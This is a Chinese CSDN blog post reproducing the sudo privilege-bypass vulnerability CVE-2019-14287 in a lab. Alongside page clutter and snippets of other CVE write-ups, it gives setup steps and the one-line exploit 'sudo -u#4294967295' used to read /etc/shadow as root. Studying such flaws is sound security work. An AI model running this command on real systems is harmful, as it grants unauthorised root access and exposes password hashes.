CVE-2019-14287复现

最新推荐文章于 2024-05-11 11:29:51 发布
最新推荐文章于 2024-05-11 11:29:51 发布
阅读量1.1k 收藏 1
点赞数
分类专栏： 漏洞复现
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_42298807/article/details/102785570
版权
一、 漏洞成因管理员在sudo配置文档中用了ALL关键字造成的。sudo权限绕过漏洞，sudo，Linux系统管理命令，允许用户在不切换环境的前提下，以其他用户的权限运行应用程序或命令。二、 影响版本1.8.28之前的所有版本三、 漏洞复现1、 查看sudo版本sudo -V2、 新建账户useradd testpasswd test3、 修改sudo配置文件vim /e...
摘要由CSDN通过智能技术生成

一、 漏洞成因
管理员在sudo配置文档中用了ALL关键字造成的。
sudo权限绕过漏洞，sudo，Linux系统管理命令，允许用户在不切换环境的前提下，以其他用户的权限运行应用程序或命令。
二、 影响版本
1.8.28之前的所有版本
三、 漏洞复现
1、 查看sudo版本
sudo -V
在这里插入图片描述
2、 新建账户
useradd test
passwd test
3、 修改sudo配置文件
vim /etc/sudoers
在这里插入图片描述
4、 切换到test用户
执行sudo命令
在这里插入图片描述
sudo -u#4294967295 cat/etc/shadow 或者
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

linanna81
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
03 - CVE-2019-14287漏洞复现
weixin_43586169的博客
03-29 1093
一个简单的Linux系统的CVE漏洞
【网络安全】复现CVE-2019-14287漏洞
你在看屏幕的同时，屏幕也在注视着你
03-07 1410
这里写自定义目录标题 原理：Sudo的全称是"superuserdo”，它是Linux系统管理指令，允许用户在不需要切换环境的前提下，以其它用户的权限运行应用程序或命令，通常是以root用户身份运行命令，以减少root用户的登录和管理时间，同时提高安全性，当在Linux操作系统上执行命令时，只有得到许可或者知道root密码，普通用户才可以使用sudo命令以root身份执行命令. 个人理解：（直白点讲就是，如果你入侵了他人的主机，可以利用该漏洞，进行权限升级，不用切换root，因为切换root的时候需要输入密
CVE-2019-0708复现
1stPeak's Blog
06-04 980
漏洞描述 微软官方紧急发布安全补丁，修复了一个Windows远程桌面服务的远程代码执行漏洞（CVE-2019-0708），该漏洞影响了某些旧版本的Windows系统。该漏洞为预身份验证，无需用户交互。当未经身份验证的攻击者使用RDP（常见端口3389）连接到目标系统并发送特制请求时，可以在目标系统上执行任意命令，甚至传播恶意蠕虫，感染内网其他机器。该漏洞类似于2017年爆发的WannaCry等恶意勒索软件病毒。 影响版本 Windows 7 Windows Server 2008 R2 Windows Se
CVE-2019-0708 漏洞复现
qq_40860153的博客
05-11 436
存在漏洞的远程桌面服务器，在接收到特殊数据包时会释放一个内部信道 MS_T120 的控制结构体，但并未将指向该结构体的指针删除，而且在远程桌面连接结束之后还会调用 MS_T120 结构体内的一个函数指针，若攻击者可通过远程发送数据重新占据被释放的 MS_T120，并为结构体内的函数指针赋恰当的值，即可实现远程命令执行。4、可以看到攻击完成，但是没有成功创建会话，通过分析告警提示，是需要指定一下目标攻击框架，这里再设置一下攻击框架，再发起攻击就可以成功获取到会话了。攻击机：192.168.0.1。
CVE-2019-14287 sudo权限绕过漏洞复现
春日野穹
10-24 1962
0x1 引言 近日 ，sudo 被爆光一个漏洞，非授权的特权用户可以绕过限制获得特权,也就是说如果将sudo配置为允许用户通过Runas规范中定义的ALL关键字来以任意用户身份运行命令的话，那么攻击者将有可能通过制定用户ID -1或4294967295来以root权限执行恶意命令，这个漏洞只能在非标准配置的Linux下生效，大多数Linux服务器不受影响。官方的修复公告请见：https://www...
漏洞复现 之 sudo提权漏洞（CVE-2019-14287）复现
Abc_Kimball的博客
01-31 818
一、简介 sudo：Linux系统命令，让普通账号以root身份去执行某些命令，如，安装软件、查看某些配置文件、关机、重启等操作，如果普通账号需要使用sudo需要修改配置文件/etc/sudoers，将sudo使用权限赋予该账号 • sudo提权漏洞是一个安全策略绕过问题，去执行某些敏感的命令，CVE编号是CVE-2019-14287，影响的版本是：<1.8.28 二、漏洞复现过程 靶机：Ubuntu 18 x64系统 1.查看sudo版本，并创建test用户 1 sudo -V 查看sudo版本
CVE-2019-14287 (Linux sudo命令)漏洞复现
7Riven's blog
12-04 602
漏洞简介 sudo命令：以系统管理者的身份执行指令，配置文件：/etc/sudoers 漏洞形成的原因 配置文件中明确表明不允许以 root 用户进行访问，但通过该漏洞，恶意用户或程序仍可在目标 Linux 系统上，以 root 用户身份执行任意命令。 对应格式及注释如下： 漏洞影响版本：sudo 1.8.28之前的所有版本 漏洞修复：将sudo包更新至最新版本 漏洞复现...
Oracle EBS 关键漏洞CVE-2019-2638CVE-2019-2633解决方案
AlexLiu_2019的博客
06-04 511
Oracle EBS 关键漏洞CVE-2019-2638CVE-2019-2633解决方案
CVE漏洞复现-CVE-2019-5736 Docker逃逸
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
04-22 3372
Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口Docker环境和普通生产环境的差异在哪呢？举个列子，在普通的生产环境中，我们程序员写的代码产品在开发环境中能够运行起来，但却在测试环境中很容易出现各种的Bug，报错，这是因为两个环境中机器的配置和环境不一样所导致的而Docker的出现解决了这一差异性的问题。
CVE-2019-8449:针对Jira v2.1的CVE-2019-8449漏洞-v8.3.4
03-08
CVE-2019-8449 低于v8.3.4的Jira版本的CVE-2019-8449 Exploit CVSS得分： 5.0 漏洞类型：信息泄露身份验证：不需要受影响的版本： 2.1-8.3.4 发布日期： 2019-09-11 漏洞数据库： : 描述版本8.4.0之前的Jira中的/ ...
Jackson 最新反序列化漏洞(CVE-2019-14361和CVE-2019-14439)
05-08
Jackson官方github仓库发布安全issue，涉及漏洞CVE-2019-14361和CVE-2019-14439，均是针对CVE-2019-12384漏洞的绕过利用方式，当用户提交一个精心构造的恶意JSON数据到WEB服务器端时，可导致远程任意代码执行。...
pi_heif-0.17.0-pp310-pypy310_pp73-macosx_12_0_x86_64.whl
最新发布
07-27
pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。
mmexport1722080103662.jpg
07-27
mmexport1722080103662.jpg
matlab 20244a 6
07-27
matlab 20244a 6
CVE-2019-070复现步骤
07-16
CVE-2019-0708（也称为BlueKeep）是一个严重的远程代码执行漏洞，影响Windows远程桌面服务。这个漏洞已经被广泛公开，并且微软已经发布了安全更新来修复它。 复现漏洞或进行攻击行为可能违反法律，并且对系统和网络...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值